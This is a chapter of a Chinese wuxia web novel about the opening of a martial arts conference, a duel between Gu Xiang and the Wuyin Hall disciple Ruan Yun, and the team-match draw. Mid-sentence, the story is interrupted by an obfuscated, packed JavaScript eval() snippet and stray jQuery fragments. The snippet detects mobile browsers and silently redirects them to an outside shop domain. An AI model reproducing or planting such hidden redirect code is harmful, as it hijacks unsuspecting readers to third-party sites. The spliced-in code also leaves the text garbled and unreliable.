虽不如过年那样张灯结彩,各个练功院和比武台也窗明几净,亮亮堂堂。
秦绛站在大堂中央,里面坐着的都是有名号前来坐镇的,个个都有拿得出手的光耀事迹,都能养活一个茶馆酒楼说书先生。外面站着的都是各宗门带来参加比赛的,弟子们个个翘首以盼,望眼欲穿,想要远远看屋里大佬们一眼。
秦绛不动声色深吸一口气,开始那套陈词滥调的规矩大法,无非一些不可下死手,点到为止的场面话,最后强调强调又强调,比赛期间,判定胜负前后不准私自约架。
陆伍一边装作莘莘学子听讲,一边偷偷问顾缃,“秦庄主这话翻来覆去说三遍了?”
顾缃讳莫如深,只闻其声,不见嘴动,“说三遍自然有说三遍的道理。”
倒是褚致允听到后看了他两眼,欲言又止。
耳熟能详的规矩说完了,秦绛一跃而上至顶台,正容亢色,宝相庄严。他抬起手来,颇有钟当一天庄主撞一天钟的悠然,全是技巧没有感情。
钟杵轻飘飘随他动了一下,“铛”的一下敲了一下铜钟。钟声庄严沉重,声远悠扬,穿过院堂,穿透山林遍野,最终融入那无边的天际。
这声钟声响起,武林大会就算正式开始了。
弟子们排着队,拿着木签寻找自己的竞技场地。大部分弟子都跟着师父,傲云山庄举办武林大会的次数之多,各位师父在此是老熟人了,穿梭来去轻车熟路。
食堂特地从山下雇来了帮厨,忙得热火朝天,餐食全天候供应。
陆伍这下真成了没见过世面的那个,他一脸震惊地问道:“这一日得花多少银子啊?来参加武林大会的还要给主家伙食费?”
顾缃一脸莫名其妙:“当然不用。”
陆伍正失魂落魄的心算自己私产,褚致允一个没忍住扑哧笑了,安慰他道:“陆少侠不用担心,山脚下的百里镇全是傲云山庄的产业。”
言外之意,来参加武林大会的均在山下拿着真金白银住着呢。山上这几顿管饭,无外乎羊毛出在羊身上。总之就是既得了人情,也没少了赚钱,一点儿不带亏。
吼!原来傲云山庄还是个富足大户,陆伍怂拉着眼,觉得自己更落魄了。
他们三位走着说着,便到了梧桐苑,本次团队赛比赛场地,中间已经支起来练武台,南长老站在院内最深处,眉头不展地看着正在排队的弟子们挨个抽签。
团队赛人多,一按组分就少了,比一天歇一天,六天就能比完,最后一天是擂台战,大部分资历不够的弟子站在外面凑着看个热闹就行。
顾缃环遭一周,参赛队伍八支,共计二十四人。滕玉阁似乎是因怕得罪傲云山庄狠了,带队的师父由崔典换成了另一位中年男子,身材瘦削,皮肤略黑,摇摇地看到顾缃她们扯着嘴角,极为勉强地笑了一下,然后赶着滕玉阁的弟子们找了个离她最远的地方站着。
顾缃扯了扯嘴角,看向另一边。文祥岛上下一派,和气生财,如沐春风,这时也在和其他帮派弟子微笑着讲话。别的小组三三两两聚集一起,年纪相近的少男少女没一会儿就混熟了。武林大会只是踏入江湖的第一步,日后天长水远,多一个朋友,多一份机缘。
只有三人不与其他人为伍,也没有师父陪着,站在中间是个十分矮小的女孩子,大概只到顾缃腰间,梳着两个小发髻,天真得像过年时剪纸上的年画娃娃。而她一左一右站着的男子,比寻常人还要高上两个头,高大威猛,粗手粗脚,极为壮硕。
那小个子十分敏锐,顾缃只扫过一眼,便感觉到被发现,且对方的视线带着探究,久久不离去。
顾缃被看烦了,找到魏行蕴所在之地就要离去,边走边问褚致允,“他们是谁?”
“无音堂,前年突然出现众人视线中的新教派。”褚致允说道,“那个女孩叫阮芸,别看她个子小,可是无音堂的首席大弟子。无音堂的弟子们惯用柳叶袖剑和三棱暗器,轻功属上上乘,女弟子较多。”
陆伍随着她们讨论的特点,在人群中看到那个叫作阮芸的小个子女孩。结果下一瞬,对方站了起来,直直地看向他。
陆伍瞳孔紧缩,眼看那小个子在距离不短的另一端,下一秒就到了他的跟前。同时,他感受到自己的衣领后头被人揪住,整个人向后移动了三四步,才没有被那人脸贴脸。
太快了……
秦绛忙忙碌碌一上午,和各大掌门人推盏寒暄,和熟人联络感情,和各个门派展望未来,好不容易喝上口热茶,秋丘连声招呼都不打,匆匆忙忙推门而入。
“不好了不好了,庄主!大姑奶奶和无音堂的小姑奶奶打起来了!”
秦绛刚喝进去的一口热茶全吐了出来。
大姑奶奶不用提,那无音堂的小姑奶奶阮芸也不是什么善茬。前几年敲门说自己是顾缃弟子的,十个有八个被她领了回去,似乎是被骗得狠了,这几年对“顾缃弟子”四个字有些由爱生恨。
“你就是大家讨论的那位——顾缃弟子?”那一句话不说逼上人脸前的小个子的语气相当嚣张,她倨傲地昂起下巴,“我过来,你躲什么?”
顾缃淡定地放下手中的陆伍和褚致允,解释道,“不好意思,惯性反应。”
然而一下刻,她跃身一脚踩在背后突然袭来的人的脸上,那人正是和阮芸一起参加比赛其中的一个壮汉。
阮芸后退一步,腾空而起,手爪如蛇般灵活,就要抓上刚将壮汉脸当踏板的顾缃。
二打一简直欺人太甚!陆伍提剑就要上,被褚致允拽了一把没上去。
“不行!赤手空拳只能算小打小闹,你亮出真刀白剑那就违规了,你上去了行蕴他们不上先被判罚!”
挣扎之间,顾缃一脚踹翻了那伺机偷袭的壮汉,壮汉不太经踹,躺在地上“哎呀哎呀”的喊,没能起来。而那动手的阮芸,和顾缃一起站在柳树摇摇欲坠的树干上。
阮芸十分灵活,腿部缠绕柳叶条,在半空中也如履平地,只是不幸遇到了同样轻功优越的顾缃。只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228081|151296||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
见顾缃脚尖踏过晃动的柳叶,手指轻挠,如弹琴般嗖嗖嗖的打来三片柳叶,丝毫不见下风,逼得阮芸急停。
下一瞬,阮芸感到自己脚腕被什么东西一拽,使劲挣脱也没能挣脱出来。她只觉得天地颠倒,柳树猛烈地颤抖了几下,停了。
“这里是傲云山庄,收一收你的任性跋扈。”顾缃跳下树,从阮芸的视线里只能看到一张倒着的脸。
围观的弟子们窃窃私语起来,南长老终于从层层人群挤出,神情焦急不似作假。
他气急了,脑瓜子嗡嗡的,先把被倒吊着挂在柳树干上的阮芸放下来。南长老双掌一分,一手拍一边。阮芸想躲,却看那比她不知道快出多少倍的手掌带着掌风幡然而下,她硬生生咬牙要受这一下,南长老的力道却突然放轻。
纵然如此,整个院落也都听到“啪啪”两声,谁都没逃过这巨掌落下。
他轻咳两声,将双手收回叉腰,怒气冲冲训话道:“上午刚说了不能私自约架不能私自约架不能私自约架,你们这是要干什么!顶风作案吗!”
顾缃默默地捂住脸,才没被喷一脸唾沫星子。而阮芸作为参赛成员,被南长老挟持一般的挟走去前面公开抽签分组结果了。
“她这轻功确实优越。”虽然打了一小架,但顾缃十分罕见地夸了一句,“比我见到的山庄内的弟子都要出色。”
“和你比如何?”陆伍突然问道。
顾缃莫名其妙,“和我比做什么?团队赛看彼此配合和默契,你看她个子虽小,同伴却是两个膀大腰圆的。”说罢,她似乎想到什么,停顿了一下。
陆伍知道她看出点什么,也不催促,等着她明白之后告诉他。
片刻后,顾缃压低声音,严肃地说道,“无音堂的这个小女孩,可是完全克制他们三个的打法啊……”
隔没多远,她便看到魏行蕴眉飞色舞地挥舞着手中用作抽签的签子,队伍抽签完毕,看来她已经知道对手是谁了。
“师姐!”魏行蕴欢天喜地飞奔而来,“是雪松门,我们第一场是和雪松门!”
既不是滕玉阁,也不是文祥岛,天下三大门派只要没遇到另外两个,以他们三人的实力完全无须烦恼。
既然他们这里无须担心,她的视线聚集在公布的名单上左下角一处,第一场——滕玉阁和无音堂。
“这么说来,他们前三稳了,对吧?”陆伍还沉浸在魏行蕴抽签小福星的氛围里。
“出息!”顾缃声音冷冽,“当然要拿第一。”
说罢,她嘴角微微上翘,冷冽的语气好像不是从她口中发出一样。看起来,和阮芸打的这一场,让她活动得很开心?
她开心,陆伍自然也开心。
这时,陆伍肩膀被旁人的斗笠轻轻刮了一下,陡然热起来的血突然凝住,他感觉到自己手心突然多了样东西。
他急忙回头,只看得到一道背影,转瞬即淹没在人群当中。陆伍心中忽然升起疑惑,刚刚和他擦肩而过的,是温清吗?